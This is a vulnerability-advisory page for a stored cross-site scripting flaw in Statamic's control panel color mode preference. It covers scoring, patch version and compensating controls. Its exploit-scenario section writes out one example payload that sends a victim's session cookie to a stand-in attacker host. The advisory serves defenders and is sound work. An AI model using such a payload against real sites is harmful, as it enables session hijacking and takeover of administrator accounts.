Skip to main content

Statamic CVE-2026-32612

| EUVDEUVD-2026-11732 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-13 security-advisories@github.com GHSA-hcch-w73c-jp4m
5.4
CVSS 3.1 · GitHub Advisory
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS 3.1 score of 5.4 reflects a medium-severity vulnerability with important context from the vector components: network-accessible attack (AV:N), low attack complexity (AC:L), low privileges required (PR:L), but requiring user interaction (UI:R). The medium CVSS score is appropriate because while the confidentiality and integrity impact are limited (C:L/I:L) with no availability impact (A:N), the real-world risk is elevated by the privilege escalation potential when administrators impersonate accounts. The requirement for user interaction (UI:R) means the victim administrator must actively view or interact with the compromised preference, which is typical for control panel workflows. The changed scope (S:C) indicates that the impact can extend beyond the vulnerable component to other systems on the same domain. Exploitation probability via EPSS would likely be moderate given the requirement for initial authentication; however, the vulnerability is not listed in CISA KEV (Known Exploited Vulnerabilities) catalog at the time of this analysis, suggesting limited active exploitation in the wild. The real-world priority should be high for organizations running Statamic in multi-user environments where privilege differences exist, but lower for single-administrator installations or those with strict access controls limiting which users can impersonate others.

Exploit ScenarioDerived

An authenticated editor with limited permissions injects malicious JavaScript into their control panel color mode preference (e.g., storing <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)> as their preference value). When the system administrator accesses the user management section and clicks to impersonate this editor's account to test permissions, the stored JavaScript executes in the administrator's browser session with full administrative privileges. The attacker's server captures the administrator's session cookie and uses it to gain unauthorized administrative access to the Statamic instance, allowing them to modify content, create new administrative users, or extract sensitive data. This scenario is realistic because account impersonation is a common administrative troubleshooting practice, and the attack requires no user interaction beyond the administrator performing their routine duties.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 13, 2026

Statamic CMS versions prior to 6.6.2 contain a stored cross-site scripting (XSS) vulnerability in the control panel color mode preference functionality that allows authenticated users to inject malicious JavaScript code. When a higher-privileged administrator impersonates or accesses the account of an authenticated user who has injected malicious code, the JavaScript executes in the administrator's browser session with their elevated privileges. This vulnerability is network-accessible and requires low privileges but user interaction from the victim, resulting in a CVSS score of 5.4 with potential for session hijacking, data theft, or further privilege escalation depending on the administrator's role and permissions.

RemediationAI

Immediately upgrade Statamic to version 6.6.2 or later, which contains the fix for the stored XSS vulnerability in the color mode preference setting. This patch properly sanitizes and encodes user input in the preference storage and rendering mechanisms. Organizations unable to patch immediately should implement the following compensating controls: restrict control panel access to a minimal set of trusted administrators using network-level access controls (IP whitelisting via reverse proxy or firewall), enforce strong multi-factor authentication for all control panel accounts to prevent credential compromise, regularly audit control panel login logs and preference changes for suspicious activity, and implement Content Security Policy (CSP) headers with strict directives to limit JavaScript execution. Additionally, disable account impersonation features in the control panel settings if they are not essential to operations, or implement mandatory re-authentication for impersonation actions. Monitor for any suspicious modifications to user preferences across all accounts and consider resetting preferences for all users after patching to clear any potential injection payloads.

Affected VersionsENISA

CMS 6.0.0, < 6.6.2
CMS 6.0.0, < 6.6.2

Affected Packages

composer statamic/cms fix: 6.6.2
euvd cms_6_0_0 fix: 6.6.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Statamic is a Laravel-based content management system (CMS) that integrates Git for version control and provides a web-based control panel for content management. The vulnerability exists in how user preferences, specifically the color mode setting, are stored and rendered without proper output encoding or content security policy enforcement. This falls under CWE-79 (Improper Neutralization of Input During Web Page Generation), a classic stored XSS vulnerability where user-controlled input is persisted in a database and later rendered in HTML context without sanitization. The attack vector targets the control panel authentication mechanism, meaning the attacker must first obtain valid credentials to access the control panel. The vulnerability is specific to the preference storage mechanism and affects the CPE designation for Statamic prior to version 6.6.2 (cpe:2.3:a:statamic:statamic:*:*:*:*:*:*:*:* with versions before 6.6.2).

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 5.4 MEDIUM
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
CVE Published
Mar 13, 2026 - 19:55 nvd
MEDIUM 5.4

DescriptionGitHub Advisory

Statamic is a Laravel and Git powered content management system (CMS). Prior to 6.6.2, stored XSS in the control panel color mode preference allows authenticated users with control panel access to inject malicious JavaScript that executes when a higher-privileged user impersonates their account. This has been fixed in 6.6.2.

Executive ViewAI

Why It Matters

Organizations using Statamic should be aware of moderate risk from CVE-2026-32612, a cross-site scripting vulnerability rated CVSS 5.4. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Low
Compensating Controls

Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Low

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +27
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy